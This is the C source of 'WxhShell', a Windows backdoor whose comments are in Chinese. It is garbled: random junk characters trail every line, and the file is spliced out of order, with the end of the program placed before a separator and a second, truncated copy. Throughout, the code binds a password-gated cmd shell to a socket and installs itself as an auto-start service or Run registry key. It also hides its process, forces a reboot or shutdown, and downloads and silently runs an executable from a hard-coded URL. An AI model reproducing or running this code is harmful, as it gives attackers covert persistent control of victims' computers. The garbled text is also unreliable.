    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wR1K8b".DC  
    if(Boot(SHUTDOWN)) T.euoFU{Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k*9%8yi_ U  
    else { {1HB!@%,(  
    closesocket(wsh); 9l=Fv6  
    ExitThread(0); <d<RK@2-  
    } $pBr &,  
    break; ^k9rDn/AW  
    } K-Y* T}?  
  // 获取shell ]*h&hsS 0  
  case 's': { 1'OD3~[R  
    CmdShell(wsh); 7#/|VQX<A  
    closesocket(wsh); Oylp:_<aT  
    ExitThread(0); R^?PAHE 7  
    break; r?XDvU  
  } C_89YFn+  
  // 退出 a j_:|]j  
  case 'x': { z5I^0'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lj-{t% }  
    CloseIt(wsh); $ACe\R/%  
    break; 8|_K  
    } dTgM"k  
  // 离开 6 cr^<]v!  
  case 'q': { Uc>LFX& -B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bAdAp W  
    closesocket(wsh); u p7 x)w:  
    WSACleanup(); QZ9M{Y/  
    exit(1); vD"_X"v  
    break; R=DPeUy;  
        } 8ST~$!z$  
  } |7Yvq%E  
  } {)jk_&c7  
\ 6jF{  
  // 提示信息 t-a`.y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dl@{}9  
} %L.rcbg:<c  
  } zZw@c?  
D)RdOldr  
  return; >R) F}  
} xP{m9_Qj  
KXDz'9_  
// shell模块句柄 JiUT\y  
int CmdShell(SOCKET sock) dnLo(<{<U  
{ } pSt@3o,  
STARTUPINFO si; N)Qlkz$X  
ZeroMemory(&si,sizeof(si)); ^w ]1qjGw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jBGG2[hV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nEuct4BcL}  
PROCESS_INFORMATION ProcessInfo; Y~}QJ+`?  
char cmdline[]="cmd"; .M`LUb"!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U0ns3LirP  
  return 0; xBt4~q;#sE  
} xg4T` ])  
}$&);7(w  
// 自身启动模式 =54Vs8.  
int StartFromService(void) )OS>9 kFH  
{ .Lp Nm'=R  
typedef struct 4E,hcu  
{ re2Fv:4{  
  DWORD ExitStatus; c@)pKi#W  
  DWORD PebBaseAddress; ``/y=k/au  
  DWORD AffinityMask; CD$u=E ]  
  DWORD BasePriority; /7S-|%1  
  ULONG UniqueProcessId; oa?!50d  
  ULONG InheritedFromUniqueProcessId; x*k65WO\  
}   PROCESS_BASIC_INFORMATION; Pi^ECSzQu[  
8dYk3 sk  
PROCNTQSIP NtQueryInformationProcess; knI*-  
@DUN;L 4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2"B}}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LJ:mJ#  
7v.#o4nPK  
  HANDLE             hProcess; $a)J CErN  
  PROCESS_BASIC_INFORMATION pbi; hG< a  
:K!GR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (0Zrfu^  
  if(NULL == hInst ) return 0; `,hW;p>-  
ZA) SJWwD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,7WK<0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gizmJ:<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &T5f H!?4  
[]sB^UT  
  if (!NtQueryInformationProcess) return 0; s,{RP0|  
Mt]=v}z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _m) gO/02A  
  if(!hProcess) return 0; h0&>GY;i  
I%.jc2kK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; & bp#1KR)  
~m009  
  CloseHandle(hProcess); A} x_zt  
|8&\N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >F_qa=t%[  
if(hProcess==NULL) return 0; g>d7%FFn}  
1oXz[V  
HMODULE hMod; Ew)n~!s  
char procName[255]; ,'/HcF?yf  
unsigned long cbNeeded; $X{B* WF  
nph7&[xQI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #3 }5cC8_  
ir( -$*J  
  CloseHandle(hProcess); .YnP% X=  
~5XL@jI^  
if(strstr(procName,"services")) return 1; // 以服务启动 _#y(w%  
L<{OBuR  
  return 0; // 注册表启动 6:SK{RSURC  
} ;p?42rCIcl  
BWqik_  
// 主模块 [MSDk"o&  
int StartWxhshell(LPSTR lpCmdLine) ZEXj|wC  
{ *Xf[b)FR  
  SOCKET wsl; QSl:=Q'  
BOOL val=TRUE; _>Pe]3  
  int port=0; 8iII) +  
  struct sockaddr_in door; 5yO#N2jY\  
3> n2  
  if(wscfg.ws_autoins) Install(); pGZl.OI  
|e.3FjTH  
port=atoi(lpCmdLine); cP$wI;P  
GA%"w=M\  
if(port<=0) port=wscfg.ws_port; Azdz3/  
P|!/mu]  
  WSADATA data; 6_ 33*/>=c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BIHHRCe:@n  
\]~kyy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ePPp)=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2\$WP-)%  
  door.sin_family = AF_INET; P^uP$D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LRqw\fKk[  
  door.sin_port = htons(port); -=v/p*v0o  
g9 grfN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "'&>g4F`o  
closesocket(wsl); )\:lYI}Wpm  
return 1; *cI6 &;y  
}  !z "a_  
m;$F@JJ  
  if(listen(wsl,2) == INVALID_SOCKET) { inq4CGY  
closesocket(wsl); 4P-'(4I)  
return 1; m,"cbJ /  
} Pv/%s) &y&  
  Wxhshell(wsl); )0 42?emn  
  WSACleanup(); pRDON)$  
?*MV  ^IY  
return 0; C4X{Ps \  
"\R@l Ux.Y  
} ]w&?k:y>  
Cs6zv>SR  
// 以NT服务方式启动 dmTW]P2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L`VQ{|&3V  
{ R fVV(X  
DWORD   status = 0; X<@y*?D9D  
  DWORD   specificError = 0xfffffff; cr=FMfhB  
>8Yrmq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jP6oJcZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GmEJ,%A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k:HSB</}  
  serviceStatus.dwWin32ExitCode     = 0; eA~_)-Z-  
  serviceStatus.dwServiceSpecificExitCode = 0; eiNk]KXAYX  
  serviceStatus.dwCheckPoint       = 0; $'I$n  
  serviceStatus.dwWaitHint       = 0; 9< 0$mE^:  
l#5k8+s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \I o?ul}za  
  if (hServiceStatusHandle==0) return; Sv^'CpQ  
[> aoDJ  
status = GetLastError(); >sl1 cC  
  if (status!=NO_ERROR) dBD4ogo1  
{ \qK}(xq[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ws}kb@5  
    serviceStatus.dwCheckPoint       = 0; q[,R%6&'  
    serviceStatus.dwWaitHint       = 0; f >, Qhl  
    serviceStatus.dwWin32ExitCode     = status; #uRq] 'P  
    serviceStatus.dwServiceSpecificExitCode = specificError; cO"Xg<#y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >-./kI "  
    return; +ke42Jwt  
  } =ty@xHr  
d8y =.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kt&$Si  
  serviceStatus.dwCheckPoint       = 0; 0Ts_"p  
  serviceStatus.dwWaitHint       = 0; =LeVJGF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wp~4[f`,  
} JEkIbf?=r  
(qc!-Isd~[  
// 处理NT服务事件,比如:启动、停止 q.hc%s2?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _-yF9g"I  
{ "'p+qbT8  
switch(fdwControl) }s)&/~6  
{ ; 0_J7  
case SERVICE_CONTROL_STOP: ~ dI&> CL  
  serviceStatus.dwWin32ExitCode = 0; pl^"1Z=*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NcY0pAR*  
  serviceStatus.dwCheckPoint   = 0; Q17o5##x7  
  serviceStatus.dwWaitHint     = 0; W;AWO0+  
  { YC,.Y{oY{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tEs[zo+DR-  
  } X-) ]lAP  
  return; kBQenMm  
case SERVICE_CONTROL_PAUSE: c%,6L<[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3x;y}:wQa  
  break; C9; X6  
case SERVICE_CONTROL_CONTINUE: $\J9F=<a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jX8C2}j  
  break; #o |&MV_j  
case SERVICE_CONTROL_INTERROGATE: r1H['{$  
  break; CR8r|+(8  
}; A ** M"T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <cS7L0h  
} oB}G^t  
@ke})0 `5  
// 标准应用程序主函数 %JH_Nw.P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sN` o_q{Q  
{ ';T5[l,  
]TZWFL-  
// 获取操作系统版本 M$hw(fC|m1  
OsIsNt=GetOsVer(); ..]X<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M[3w EX^  
D"XQ!1B%  
  // 从命令行安装 ii] =C(e9  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~^ 5n$jq  
9QQ@Y}  
  // 下载执行文件 t>|N4o  
if(wscfg.ws_downexe) { )/i|"`)>_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1^"aR#  
  WinExec(wscfg.ws_filenam,SW_HIDE); WuQ<AS=   
} #1hz=~YO  
.AI'L|FQ%c  
if(!OsIsNt) { v+_Y72h*a  
// 如果时win9x,隐藏进程并且设置为注册表启动 )B5gs%u]  
HideProc(); <XcMc<h~  
StartWxhshell(lpCmdLine); JhXN8Bq33  
} F0^~YYRJV  
else W%Nu]9T  
  if(StartFromService()) |l\/ {F  
  // 以服务方式启动 lJ1xx}k{U  
  StartServiceCtrlDispatcher(DispatchTable); m~IWazj;A  
else b2-|e_x  
  // 普通方式启动 qy(/   
  StartWxhshell(lpCmdLine); &)}:Y!qiu  
>xMhA`l  
return 0; t }C ^E  
} ~I^[rP~  
(GOrfr  
<hC3#dNRd  
8PVs!?Nne  
=========================================== W>s9Mp  
 v2=!*  
[?6D1b[  
yzzre>F  
+dpj?  
^dKaa  
" 6e-h;ylS  
|}.B!vg(4  
#include <stdio.h> i1\ /\^  
#include <string.h> bc}OmPE  
#include <windows.h> ~g6[ [  
#include <winsock2.h> c'TLD!^hB  
#include <winsvc.h> !w\;Q8irN  
#include <urlmon.h> 72.IhBNtT  
5 9HaTq  
#pragma comment (lib, "Ws2_32.lib") x9 L\"  
#pragma comment (lib, "urlmon.lib") . pEeR  
g;Q^_4@  
#define MAX_USER   100 // 最大客户端连接数 )7mJ+d[  
#define BUF_SOCK   200 // sock buffer _q}%!#4  
#define KEY_BUFF   255 // 输入 buffer T.N7`  
1gK3= Ys  
#define REBOOT     0   // 重启 L"<Eov6  
#define SHUTDOWN   1   // 关机 A;HKR4p;8  
h#;K9#x6  
#define DEF_PORT   5000 // 监听端口 i4C b&h^  
_rh.z_a7w  
#define REG_LEN     16   // 注册表键长度 BCB/cBE  
#define SVC_LEN     80   // NT服务名长度 <a}|G1 h  
Y]0y -H  
// 从dll定义API ghR]$SG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fB}5,22  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'ZgW~G]S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;//q jo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )L("t  
Z"KuS  
// wxhshell配置信息 MpvA--  
struct WSCFG { U4pvQE.m<  
  int ws_port;         // 监听端口 < l ^ Z;.  
  char ws_passstr[REG_LEN]; // 口令 lq9h Dn[p  
  int ws_autoins;       // 安装标记, 1=yes 0=no }H^^v[4  
  char ws_regname[REG_LEN]; // 注册表键名 y+x>{!pw  
  char ws_svcname[REG_LEN]; // 服务名  +6-!o,(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lhODNWi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KA2B3\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >~InO^R`5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f TtMmz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p{PYUW"?^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'J2P3t  
3goJ(XI  
}; _j tS-CnO  
&y+*3,!n8  
// default Wxhshell configuration yKhzymS}T  
struct WSCFG wscfg={DEF_PORT, $X]v;B)J|  
    "xuhuanlingzhe", z:7F5!Z  
    1, ?bA]U:  
    "Wxhshell", +'4dP#  
    "Wxhshell", d0,F'?.0|  
            "WxhShell Service", )q-!5^ak  
    "Wrsky Windows CmdShell Service", m,q<R1  
    "Please Input Your Password: ", bv];Gk*Z-  
  1, >p:fWQ6  
  "http://www.wrsky.com/wxhshell.exe", h"S/D[  
  "Wxhshell.exe" .H.v c_/  
    }; ^: j:;\;  
py4_hj\v  
// 消息定义模块 &N nMz9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hY9u#3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )ISTb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8RD)yRJ  
char *msg_ws_ext="\n\rExit."; pU/.|Sh  
char *msg_ws_end="\n\rQuit."; >GRuS\B  
char *msg_ws_boot="\n\rReboot..."; %c{)'X  
char *msg_ws_poff="\n\rShutdown..."; K.zs;^  
char *msg_ws_down="\n\rSave to "; Z:Am\7 I  
KgS xF#  
char *msg_ws_err="\n\rErr!"; !!>G{  
char *msg_ws_ok="\n\rOK!"; bm?TMhC  
g"f^YEQ_  
char ExeFile[MAX_PATH]; o`0H(\en  
int nUser = 0; =Ji:nEl]z  
HANDLE handles[MAX_USER]; dj]N59<  
int OsIsNt; /HD2F_XA  
-lEh}r  
SERVICE_STATUS       serviceStatus; r"{1H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ey%NqOs0#  
@]4s&;  
// 函数声明 J n/=v\K@  
int Install(void); y9<Fv|Ric  
int Uninstall(void); rJwJ5U  
int DownloadFile(char *sURL, SOCKET wsh); [X]o`  
int Boot(int flag); mYX) =B{  
void HideProc(void); $Yc9><i  
int GetOsVer(void); ^f]pK&MAmN  
int Wxhshell(SOCKET wsl); WLb7]rCTp  
void TalkWithClient(void *cs); u>#'Y+7  
int CmdShell(SOCKET sock); N"y4#W(Z@  
int StartFromService(void); `-m7CT sA  
int StartWxhshell(LPSTR lpCmdLine); 2Mp;/b!  
fOAb?:D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |7'W)s5.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GK+w1%6)  
 `SrVMb(  
// 数据结构和表定义 sqRuqUj+  
SERVICE_TABLE_ENTRY DispatchTable[] = G= e[TR)i  
{ :8 :>CHa  
{wscfg.ws_svcname, NTServiceMain}, Nx'j+>bz>y  
{NULL, NULL} Cv33?l-8%_  
}; *^()el,d  
]ghPbS@  
// 自我安装 ^lj>v}4fkW  
int Install(void) Y.J$f<[R  
{ ~~mQ  
  char svExeFile[MAX_PATH]; (z{xd  
  HKEY key; uyIA]OtyN  
  strcpy(svExeFile,ExeFile); ,88}5)b[  
s]UeDZ <a  
// 如果是win9x系统,修改注册表设为自启动 ?=&*6H_v  
if(!OsIsNt) { =j-{Mxb3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3E-&8x7uYR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O8%/Id  
  RegCloseKey(key); KW\`&ki  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \)*qW[C$a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H#K|SSqY?  
  RegCloseKey(key); ,H8P mn?  
  return 0; 7 pV3#fQ  
    } uDR(^T{g#  
  } *d 4D9(  
} mDUS9>  
else { yFjSvm6  
{;r5]wimb  
// 如果是NT以上系统,安装为系统服务 d|3[MnU[a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F2=97 =R  
if (schSCManager!=0) cxV3Vrx@A  
{ gO%3~f!vY#  
  SC_HANDLE schService = CreateService l"/Os_4O  
  ( =8-e1R/  
  schSCManager, -L@=j  
  wscfg.ws_svcname, zuw6YY8kQ  
  wscfg.ws_svcdisp, :O2N'vl47A  
  SERVICE_ALL_ACCESS, rcCM x"L=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :M16ijkx  
  SERVICE_AUTO_START, "- AiC6u  
  SERVICE_ERROR_NORMAL, ?FyA2q!  
  svExeFile, dL>ZL1.$  
  NULL, ,O(uuq  
  NULL, &I8ZVtg  
  NULL, L`6`NYR  
  NULL, 90a= 39kI  
  NULL utv.uwfat  
  ); %-D2I  
  if (schService!=0) eo !{rs@f  
  { umk[\}Ip+P  
  CloseServiceHandle(schService); PYGHN T  
  CloseServiceHandle(schSCManager); MeC@+@C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~7|z2L  
  strcat(svExeFile,wscfg.ws_svcname); ^<c?Ire  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K2JS2Y]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H|]Q;,C  
  RegCloseKey(key); >K3Lww)Ln  
  return 0; ?]S*=6  
    } 'tekne  
  } V0>,Kxk  
  CloseServiceHandle(schSCManager); > ewcD{bt  
} ? T9-FGW  
} p)`JVq,H/B  
tP3Upw"U  
return 1; <?+ \\Z!7  
} Ad(j&P  
idHBz*3~ps  
// 自我卸载 YRFM1?*  
int Uninstall(void) Dcq^C LPY  
{ 6B=J*8 Hs  
  HKEY key; sHNt>5p  
cOSUe_S0w[  
if(!OsIsNt) { TeHR,GB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I?gbu@o  
  RegDeleteValue(key,wscfg.ws_regname); 09r.0Ks  
  RegCloseKey(key); M%m$ 5[;n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &12.|  
  RegDeleteValue(key,wscfg.ws_regname); 92EvCtf  
  RegCloseKey(key); R"jX9~3Ln  
  return 0; 5Jd,]~KAP  
  } yo5|~"yZY  
} 3LG)s:p$/  
} se&:Y&vrc~  
else { RaR$lcG+iY  
(c;$^xZK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5=eGiF;0\  
if (schSCManager!=0) Q/':<QY  
{ :EZTJu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i9Qx{f88  
  if (schService!=0) W1 E(( 2  
  { AyddkjX  
  if(DeleteService(schService)!=0) { ,Ao8QN  
  CloseServiceHandle(schService); E8/P D  
  CloseServiceHandle(schSCManager); v q|W&  
  return 0; )l^w _;  
  }  1r$q $\  
  CloseServiceHandle(schService); W<t,Ivg  
  } DF<_Ns!  
  CloseServiceHandle(schSCManager); YkTEAI|i  
} UhNeY{6  
} f -bVcWI  
Xcb\N  
return 1; {C [7V{4(%  
} YQ&Xd/z-  
fU,sn5zZ  
// 从指定url下载文件 l78zS'  
int DownloadFile(char *sURL, SOCKET wsh) vNP,c]:%  
{ Zx@{nVoYe~  
  HRESULT hr; EI'(  
char seps[]= "/"; N/(&&\3  
char *token; OX!9T.j  
char *file; QM OOJA  
char myURL[MAX_PATH]; n(&6 E3ZcI  
char myFILE[MAX_PATH]; ;sDFTKf  
Pl U!-7  
strcpy(myURL,sURL); {A{=RPL  
  token=strtok(myURL,seps); 94Z~]C  
  while(token!=NULL) m8.sHw  
  { 99vm7"5hQ  
    file=token; ]w({5i  
  token=strtok(NULL,seps); c8A //  
  } qm2  
~b*f2UVs  
GetCurrentDirectory(MAX_PATH,myFILE); V1M oW;&  
strcat(myFILE, "\\"); k/Z}nz   
strcat(myFILE, file); A#*0mJ8IK  
  send(wsh,myFILE,strlen(myFILE),0); mV6\gR[h  
send(wsh,"...",3,0); n>{ >3?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z6\Y& {  
  if(hr==S_OK) sa{X.}i%E  
return 0; kP3'BBd,  
else [/xw5rO%  
return 1; Iq MXd K|  
to2dkU  
} y8VLFe;  
.xS}/^8iD  
// 系统电源模块 wUab)L  
int Boot(int flag) J=ZNx;{6  
{ <^{|5u  
  HANDLE hToken; |d&a&6U:  
  TOKEN_PRIVILEGES tkp; Z3)1!|#Q  
Zj%l (OVq  
  if(OsIsNt) { 6s@'z<Ct  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GHfsq|*j,Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j"hfsA<_I  
    tkp.PrivilegeCount = 1; !q mnMY$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t0(1qFi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5 ^+> *z  
if(flag==REBOOT) { ;CD@RP{$n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gq!| 0  
  return 0; 1d,;e:=j  
} hT]\*},  
else { > -OQk"o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b$[O^p9x  
  return 0; BNL Q]  
} {fmSmD  
  } ]25 xX  
  else { lOYzo  
if(flag==REBOOT) { 1*,f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n]jZ2{g+   
  return 0; >d%;+2  
} *H8(G%a!^  
else {  $ac VJI?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ,SNN[a  
  return 0; 0P_qtS  
} 0 fX  
} Yjx*hv&?  
kO>F, M  
return 1; v@(Y:\>  
} ,onOwPz  
Z(k7&^d  
// win9x进程隐藏模块 =J:6p-\*  
void HideProc(void) d ]R&mp|'  
{ wGr5V!  
S2T~7-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !36jtKdM  
  if ( hKernel != NULL ) 4Hc+F(  
  {  74i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }}y~\TB~}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vau0Jn%=ck  
    FreeLibrary(hKernel); z)*7LI  
  } {a;my"ly  
JI##l:,7r  
return; dz3chy,3  
} 9Kf# jZ  
uY{V^c#mv  
// 获取操作系统版本 ziPE(B  
int GetOsVer(void) ,e<(8@BBL  
{ @ W[LA<  
  OSVERSIONINFO winfo; *uoc;6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OiAP%7i9  
  GetVersionEx(&winfo); oP vk ^H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '@t}8J  
  return 1; 2B Dz \  
  else 0Rgo#`7l  
  return 0; C{^U^>bU  
} HuzHXn)  
Gpv9~&  
// 客户端句柄模块 3z5w}qN] M  
int Wxhshell(SOCKET wsl) W(.q. Sx>  
{ >..C^8 "  
  SOCKET wsh; m$6u K0  
  struct sockaddr_in client; F6,[!.wl  
  DWORD myID; Qv4g#jX{  
D_VAtz  
  while(nUser<MAX_USER) Twl>Pn>  
{ *PEk+e  
  int nSize=sizeof(client); 0@cc XF E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); " b?1Yc-  
  if(wsh==INVALID_SOCKET) return 1; ` 9iB`<  
gK7bP'S8H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); St 4YNS.|  
if(handles[nUser]==0) yCC.j%@  
  closesocket(wsh); kIR?r0_<G6  
else *%6NuZ  
  nUser++; E3%:7MB  
  } Tp-<!^o4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KPW2e2{4@  
j6@5"wx  
  return 0; 0H;,~ WY  
} fiG/ "/u  
|1M+FBT$w  
// 关闭 socket vMT:j  
void CloseIt(SOCKET wsh) "'i" @CR  
{ }fzv9$]$  
closesocket(wsh); (4ueO~jb $  
nUser--; yhwwF n\  
ExitThread(0); >d1gVBhk  
} VEUdw(-?s  
4Og&w]  
// 客户端请求句柄 DSb/+8KT  
void TalkWithClient(void *cs) 'Ll,HgU;  
{ 6h8fzqRzc  
L&*/ s&>b  
  SOCKET wsh=(SOCKET)cs; sA!,)'6  
  char pwd[SVC_LEN]; [ QHSCF5  
  char cmd[KEY_BUFF]; kta`[%KmIZ  
char chr[1]; ,AX7~;hpq  
int i,j; I"AgRa  
.@7J8FS*  
  while (nUser < MAX_USER) { ZMFV iE;8  
D H}gvV  
if(wscfg.ws_passstr) { D`|.%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #A&(b}#:o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nw 74T  
  //ZeroMemory(pwd,KEY_BUFF); YSQB*FBz  
      i=0; tp4/c'w;)J  
  while(i<SVC_LEN) { ~k}>CNTr  
|gl~wG1@  
  // 设置超时 KaRdO  
  fd_set FdRead; )+!~xL  
  struct timeval TimeOut; /<J&ZoeJB  
  FD_ZERO(&FdRead); qhNY<  
  FD_SET(wsh,&FdRead); r@j$$Pk`  
  TimeOut.tv_sec=8; DH@})TN*O  
  TimeOut.tv_usec=0; RfM uWo:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -&3WN!egq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H ?ZlJ|/c  
` #!~+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ujw J}j  
  pwd=chr[0]; Cq-d,  
  if(chr[0]==0xd || chr[0]==0xa) { -5v2E-  
  pwd=0; HkgmZw,  
  break; '%k<? *  
  } y]z^e\qc)  
  i++; WGG Va  
    } mn5"kYy?  
O^tH43C  
  // 如果是非法用户,关闭 socket "!\ON)l*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SHM ?32'  
} !`S`%\"  
BPFd'- O)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UD 0v ia  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [#}A]1N  
}4 p3m]   
while(1) { Ib$*w)4:  
3M/iuu  
  ZeroMemory(cmd,KEY_BUFF); eh@6trzp=  
b7X-mkF  
      // 自动支持客户端 telnet标准   YJioR4+q  
  j=0; *""JE'wG  
  while(j<KEY_BUFF) { \M@9#bd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ P[o  
  cmd[j]=chr[0]; N{lj"C]L  
  if(chr[0]==0xa || chr[0]==0xd) { /hC[>t<  
  cmd[j]=0; jQrj3b.NC3  
  break; ^\Bm5QkS  
  } |sa{!tKJ  
  j++; m5m'ByX(*  
    } Y5J}*`[Mr  
,d^ze=  
  // 下载文件 aFZu5-=x  
  if(strstr(cmd,"http://")) { pv:7kgod  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2<Vw :+,  
  if(DownloadFile(cmd,wsh)) ;B8 #Nf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >lD*:#o  
  else )kMA_\$,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gnAM}  
  } OHz>B!`  
  else { ,&wTUS\  
D][e uB  
    switch(cmd[0]) { M7$ h  
